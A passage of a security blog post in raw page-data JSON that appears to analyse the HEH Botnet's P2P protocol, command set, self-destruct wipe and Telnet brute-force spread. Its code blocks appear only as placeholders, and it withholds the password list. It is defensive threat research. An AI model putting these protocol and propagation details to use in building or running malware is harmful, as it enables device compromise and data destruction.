"],[0,[0],1,"Slice "],[0,[],0,"type, with an initial length of "],[0,[0],1,"1000"],[0,[],0," . This PeerList should be defined in Go language as follows:"]]]],[10,7],[1,"p",[[0,[],0,"2. Update the HTTP response data. By the "],[0,[2],1,"argv[1]"],[0,[],0," "],[0,[0],1,": 80"],[0,[],0," the HTTP request to the service port of the HTTP URI 0 ~ 9, to update their respective data. According to the behavior of the sample, the data updated here is an "],[0,[0],1,"executable binary file"],[0,[],0," ."]]],[1,"p",[[0,[],0,"The P2P module of HEH Botnet mainly consists of 3 components:"]]],[3,"ol",[[[0,[0],1,"Ping "],[0,[],0,"component: every 10s, a "],[0,[0],1,"Ping"],[0,[],0," command will be sent to each and every Peer's UDP service port in a 0.1 second interval."]],[[0,[0],1,"Peer update"],[0,[],0," component: every 10s, a bunch of Peer "],[0,[0],1,"Update"],[0,[],0," commands will also be sent to random Peers’ UDP service port in the same 0.1 second interval. After receiving the command, the peer will check whether its Peer List already contains the Peer address information. If not, add the Peer address information to its Peer List."]],[[0,[0],1,"UDP service "],[0,[],0,"component: The local Peer service of HEH Botnet is a UDP service. This service monitors data or instructions sent by other Peers, analyzes the instructions and performs corresponding operations."]]]],[1,"p",[[0,[],0,"This article focuses on the UDP service component of HEH Botnet. This component has two key functions: "],[0,[0],1,"UDP service port number generation"],[0,[],0," and "],[0,[0],1,"command parsing"],[0,[],0," ."]]],[1,"p",[[0,[],0,"The UDP service port of HEH Botnet is not fixed, nor is it randomly generated, but is calculated based on Peer's own public network IP. Each time HEH Bot receives a new Peer's IP address, it will calculate the Peer's UDP port according to the algorithm, and pack this information into its Peer List. The port generation algorithm is implemented in the function "],[0,[0],1,"main.portGenerator()"],[0,[],0," . The key parts are as follows:"]]],[10,8],[1,"p",[[0,[],0,"The instructions that HEH Bot can parse are divided into two categories: P2P protocol-related functional instructions ( "],[0,[0],1,"Protocol OpCode"],[0,[],0," ) and Bot-specific control instructions ( "],[0,[0],1,"Bot Cmd"],[0,[],0," ). The Protocol OpCode is located in "],[0,[0],1,"the first byte of the UDP data"],[0,[],0," and is classified as follows:"]]],[1,"p",[[0,[],0,"OpCodeIns Len(Bytes)MeaningOperation"],[0,[0],1,"2"],[0,[],0,"1"],[0,[0],1,"Ping"],[0,[],0,"Response a "],[0,[0],1,"Pong"],[0,[],0," to the peer"],[0,[0],1,"3"],[0,[],0,"1"],[0,[0],1,"Pong"],[0,[],0,"-"],[0,[0],1,"4"],[0,[],0,"1"],[0,[0],1,"Announce"],[0,[],0," (itself as a Peer)Add this peer to self's Peer List, and response an "],[0,[0],1,"Announce"],[0,[0],1,"5"],[0,[],0,"1"],[0,[0],1,"PeerUpdate"],[0,[],0,"(Let peer update its PeerList)Update Peer List"],[0,[0],1,"1"],[0,[],0,"> 0x229Control bot to do something as the Bot Cmd requiredParse and Execute Bot Cmd"]]],[1,"p",[[0,[],0,"When the instruction code is "],[0,[0],1,"1"],[0,[],0," , it means that the instruction is a control instruction code for Bot. The meaning of the starting 0x229 Bytes of  data for this type of command is fixed. It contains the Sha256 Hash Value and PSS Signature used for verification in turn, and finally there is an additional verification field of 8 Bytes; the actual command data is from 0x229 bytes onwards. Take No. "],[0,[0],1,"7"],[0,[],0," Bot Cmd ("],[0,[0],1,"Cmd.UpdateBotFile"],[0,[],0,") as an example, the instruction data structure is as follows:"]]],[10,9],[1,"p",[[0,[],0,"HEH Bot verifies the received Bot Cmd data in 3 steps:"]]],[3,"ol",[[[0,[],0,"Check the length of the command data and Extra Flag;"]],[[0,[],0,"Use PSS Signature to verify command data;"]],[[0,[],0,"Check the Sha256 Hash of the last real cmd data."]]]],[1,"p",[[0,[],0,"The logic of the last two steps is as follows:"]]],[10,10],[1,"p",[[0,[],0,"Among them, the public key used when verifying PSS Signature is:"]]],[10,11],[1,"p",[[0,[],0,"The Bot Cmd supported by HEH Bot are as follows:"]]],[1,"p",[[0,[],0,"Cmd CodeMeaning"],[0,[0],1,"0"],[0,[0],1,"Restart"],[0,[],0,": Restart the Bot"],[0,[0],1,"2"],[0,[0],1,"Exit"],[0,[],0,": Exit current running bot"],[0,[0],1,"3"],[0,[0],1,"Attack"],[0,[],0,": launch attacks ( "],[0,[0],1,"not implemented"],[0,[],0," )"],[0,[0],1,"4"],[0,[0],1,"Execute"],[0,[],0,": Execute Shell Commond"],[0,[0],1,"5"],[0,[0],1,"Print"],[0,[],0,": "],[0,[0],1,"not implemented"],[0,[0],1,"6"],[0,[0],1,"PeerUpdate"],[0,[],0,": Update Peer List"],[0,[0],1,"7"],[0,[0],1,"UpdateBotFile"],[0,[],0,": By specifying a file download link, let the bot download and update the content of the file held by the bot. This file will be used as HTTP Response Data by the local HTTP Server which launched by the bot"],[0,[0],1,"8"],[0,[0],1,"SelfDestruct"],[0,[],0,": Destruct the device"],[0,[0],1,"9"],[0,[0],1,"Misc"],[0,[],0,": "],[0,[0],1,"not implemented"]]],[1,"p",[[0,[],0,"At present, the most useful functions for the entire Botnet are to "],[0,[0],1,"execute Shell commands"],[0,[],0,", "],[0,[0],1,"update Peer List"],[0,[],0," and "],[0,[0],1,"UpdateBotFile"],[0,[],0,". The "],[0,[0],1,"Attack"],[0,[],0," function in the code is just a reserved empty function, and has not been implemented. It can be seen that the Botnet is still in the developement stage. We will see what the author comes up with the "],[0,[0],1,"Attack"],[0,[],0," feature."]]],[1,"p",[[0,[],0,"The function for parsing Bot Cmd in Bot is "],[0,[0],1,"main.executeCommand()"],[0,[],0," . The overall structure of this function is as follows:"]]],[10,12],[1,"p",[[0,[0],1,"Self-destruction"]]],[1,"p",[[0,[],0,"There is one thing really worth noting here. When the Bot receives a cmd with code number "],[0,[0],1,"8"],[0,[],0," , the Bot will try to wipe out everything on all the disks through the following series of Shell commands:"]]],[10,13],[1,"h3",[[0,[0],1,"Communication module-Telnet service brute force cracking"]]],[1,"p",[[0,[],0,"After the Bot runs the P2P module, it will execute the brute force task against the Telnet service for the two ports 23 and 2323 in a parallel manner, and then complete its own propagation."]]],[1,"p",[[0,[],0,"First, the Bot will generate a random IP address, and then check whether the IP address is "],[0,[0],1,"127.0.0.1"],[0,[],0," :"]]],[10,14],[1,"p",[[0,[],0,"If the IP address is "],[0,[0],1,"not 127.0.0.1"],[0,[],0," , the IP will be scanned. If the Telnet service is opened on port 23 or 2323, it will enter the brute force  stage. The related functions are as follows:"]]],[10,15],[1,"p",[[0,[],0,"The password dictionary exists in the form of global "],[0,[0],1,"Slice"],[0,[],0," variables, including "],[0,[0],1,"171"],[0,[],0," usernames and "],[0,[0],1,"504"],[0,[],0," passwords : (we are not sharing the list publicly due to security concerns) :"]]],[10,16],[1,"p",[[0,[],0,"If the attempt is successful, the bot will let the victim access the bot’s own HTTP service, and execute the corresponding file obtained through HTTP (ie the latest Bot sample) to complete the spread:"]]],[10,17],[1,"h2",[[0,[0],1,"Sum up"]]],[1,"p",[[0,[],0,"The operating mechanism of this botnet is not yet mature, as we can see from above, some important function such as attack module have not yet been implemented. Also the P2P implementation still has flaws, the Bot does maintain a Peer List internally, and there is ongoing Ping<-->Pong communication between peers, but the entire Botnet still is considered centralized, as currently the bot node cannot send control command. In addition, the mechanism of carrying the sample itself through the local HTTP Server is not very pretty. With that being said, the new and developing P2P structure, the multiple CPU architecture support, the embedded self-destruction feature, all make this botnet potentially dangerous."]]],[1,"h2",[[0,[0],1,"Contact us"]]],[1,"p",[[0,[],0,"Readers are always welcomed to reach us on "],[0,[0,3],2,"twitter"],[0,[],0," , or email to "],[0,[0],1,"netlab at 360 dot cn"],[0,[],0,"."]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"MD5:"]]],[10,18]],"ghostVersion":"3.0"}